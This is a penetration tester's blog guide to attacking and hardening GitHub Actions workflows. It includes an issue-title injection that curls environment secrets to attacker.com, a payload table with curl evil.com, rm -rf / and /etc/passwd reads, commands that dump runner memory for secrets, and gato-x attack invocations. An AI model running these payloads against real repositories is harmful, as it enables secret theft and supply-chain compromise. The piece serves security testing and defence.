GitHub Theft Actions
Pentester's Guide to test GitHub's CI/CD

๐ Security Engineer | Penetration Tester | CTF Player ๐ฏ Experienced in Product, Cloud & Infrastructure Security. โก Skilled in Application Security, Multi-Cloud Security, Red Teaming, Penetration Testing, and Security Engineering. ๐ฑ Exploring GenAI ๐ค and LLM Security.
Hacking GitHub Actions:
Look, if you're still treating GitHub Actions like some harmless CI/CD tool, you're about to have a bad time. March 2025 showed us what happens when attackers get creative - the tj-actions/changed-files compromise hit over 23,000 repositories in one shot. Not through some zero-day exploit. Not through sophisticated cryptography breaking. Just good old-fashioned trust abuse and some clever git tag manipulation.
Let's cut through the BS and talk about what's actually happening in the wild and how to test for it.
The Attack Surface Nobody's Watching
Here's the thing about GitHub Actions, it's not just running your tests anymore. It's got access to your secrets, can push code to your repo, deploy to production, and if you're using self-hosted runners, it's sitting inside your network. That's a lot of trust for YAML files that most devs copy/paste from Stack Overflow.
The basic components you need to understand:
Workflows: Those
.github/workflows/*.ymlfiles that define everythingTriggers: What kicks off a workflow (push, pull_request, issue_comment, etc.)
Runners: Where the code actually executes (GitHub-hosted or self-hosted)
Secrets & Tokens: The keys to the kingdom
Each of these is an attack vector. Let me show you how.
Command Injection: The Gift That Keeps on Giving
This is the low-hanging fruit, but it's everywhere. GitHub Actions uses ${{...}} for expressions, and here's the kicker - it's not variable expansion, it's literal string substitution before the shell even sees it.
Take this workflow that looks innocent enough:
name: Greet on New Issue
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Greet User
run: echo "Processing new issue: ${{ github.event.issue.title }}"
Now watch what happens when I create an issue with this title:
Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done
The runner executes:
echo "Processing new issue: Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done"
Boom. All your environment variables just got exfiltrated. Including secrets.
Reference for Injectable Inputs
| Input | Where It Comes From | Example Payload |
github.event.issue.title | Issue titles | "; ls -la; # |
github.event.comment.body | Comments on issues/PRs | "; curl evil.com/$(whoami); # |
github.event.pull_request.head.ref | Branch names | main"; rm -rf /; # |
github.event.pull_request.title | PR titles | Fix"; cat /etc/passwd >&2; # |
The pull_request_target Foot gun
This one's brutal. The pull_request_target trigger was designed to let workflows comment on PRs from forks. The problem? It runs in the context of the base branch with full permissions, but can be tricked into running code from the PR.
Here's the vulnerable pattern everyone keeps using:
on:
pull_request_target:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }} # <- THE MISTAKE
- run: npm test
The attack:
Fork the repo
Add malicious code to
package.jsonor test filesSubmit a PR
Your malicious code runs with full repo permissions
This exact pattern compromised repositories from MITRE, Splunk, and Spotify's API library. It's everywhere.
Self-Hosted Runners: ๐ฃ
GitHub-hosted runners are ephemeral.
These runners are temporary and short-lived; they spin up to execute a job and then disappear once the job is completed. This is in contrast to self-hosted runners, which are persistent and remain active on the network.
They spin up, run your job, disappear. Self-hosted runners? They're persistent. They're on your network. They're probably running as a service account with way too many permissions.
The attack path is straightforward:
Find a public repo using self-hosted runners (look for
runs-on: self-hosted)Fork it and create a malicious workflow
Submit a PR - if they have the "first-time contributor" approval requirement, just fix a typo first to become a "contributor"
Your workflow runs on their runner
Drop a reverse shell or C2 implant
Wait for legitimate jobs to run and steal their secrets
The runner is now your persistent backdoor into their network. You can:
Steal secrets from future jobs
Pivot through their internal network
Inject backdoors into their release builds
Secret Exfiltration
GitHub tries to mask secrets in logs, but it's trivial to bypass:
# This gets masked
echo ${{ secrets.API_KEY }}
# This doesn't
echo ${{ secrets.API_KEY }} | base64
# Neither does this
echo ${{ secrets.API_KEY }} | rev
But here's where it gets interesting. The runner process itself holds all secrets in memory. On a self-hosted runner where you have execution:
# Dump the runner process memory
sudo gcore $(pgrep Runner.Listener)
# Extract secrets from the dump
strings core.* | grep -A5 -B5 "SECRET_NAME"
Even better - the runner writes temporary script files with secrets hardcoded:
cat /home/runner/work/_temp/*.sh
Exploiting with gato-x
Let's break something. The Gato (Github Attack TOolkit) - Extreme Edition tool automates most of this:
# Search for vulnerable repos
gato-x s -sg -q 'count:10000 /(issue_comment|pull_request_target)/ file:.github/workflows/ lang:yaml' -oT targets.txt
# Enumerate vulnerabilities
gato-x e -R targets.txt
# Attack a self-hosted runner (with authorization)
gato-x a --runner-on-runner --target ORG/REPO --target-os linux --target-arch x64
Race Conditions: The Actions TOCTOU Attack
Some workflows require manual approval before running PR code. There's a race condition here:
Submit benign PR
Maintainer reviews and approves
Between approval and execution, force-push malicious code
Runner executes the malicious version
The ActionsTOCTOU tool automates this - it watches for approval and instantly swaps the code.
The tj-actions Supply Chain Attack:
This wasn't some theoretical or imaginary attack. In March 2025, attackers compromised tj-actions/changed-files and hit 23,000+ repos. Here's how they did it:
Initial foothold: Found a
pull_request_targetvulnerability in a completely different repo (spotbugs/sonar-findbugs)Token theft: Used it to leak a maintainer's Personal Access Token
Lateral movement: That maintainer had access to reviewdog/action-setup
Tag manipulation: Pushed malicious code and updated the
v1tag to point to itChain reaction: tj-actions/changed-files used reviewdog in its workflow, got compromised
Mass exploitation: Updated all tj-actions version tags to dump secrets in logs
The clever bit? They didn't modify the main branch. They just moved the version tags. Everyone pulling @v1 or @v35 got owned instantly.
Testing Your Own Workflows
Start with the basics:
# Find risky triggers
grep -r "pull_request_target\|workflow_run" .github/workflows/
# Find expression injection points
grep -r '\${{.*github\.event' .github/workflows/
# Find self-hosted runners
grep -r "runs-on:.*self-hosted" .github/workflows/
For each vulnerable pattern you find, create a test:
Command injection: Create issues/PRs with payloads
Pwn requests: Fork and submit malicious PRs
Secret leakage: Check artifact contents
Defending This Mess
Pin your actions to commit SHAs, not tags:
# Bad
- uses: actions/checkout@v4
# Good
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
Never interpolate user input directly:
# Bad
run: echo "${{ github.event.issue.title }}"
# Good
env:
TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"
Set minimal permissions:
permissions:
contents: read
# Only what you need
For self-hosted runners: Run them in isolated networks. Use ephemeral containers. Never on public repos unless you enjoy pain.
TL;DR
Most organizations have no idea how exposed they are through GitHub Actions. The workflows are public, the attack tools are free, and the payoff for attackers is massive. We're seeing credential theft, supply chain attacks, and full network compromises - all through YAML files that nobody's reviewing.
Start auditing your workflows today. Because if you don't, someone else will.
References
The tj-actions/changed-files Supply Chain Attack
The Hacker News: GitHub Action Compromise Puts CI/CD
GitHub Actions Script Injection Documentation
GitHub Docs: Security hardening for GitHub Actions - Script Injections
Pwn Request Vulnerabilities Research
Praetorian: Pwn Request - Hacking Microsoft GitHub Repositories and More
Self-Hosted Runner Security Analysis
Unit 42: GitHub Actions Supply Chain Attack
ArtiPACKED Vulnerability Research
Unit 42: GitHub Repository Artifacts Leak Tokens




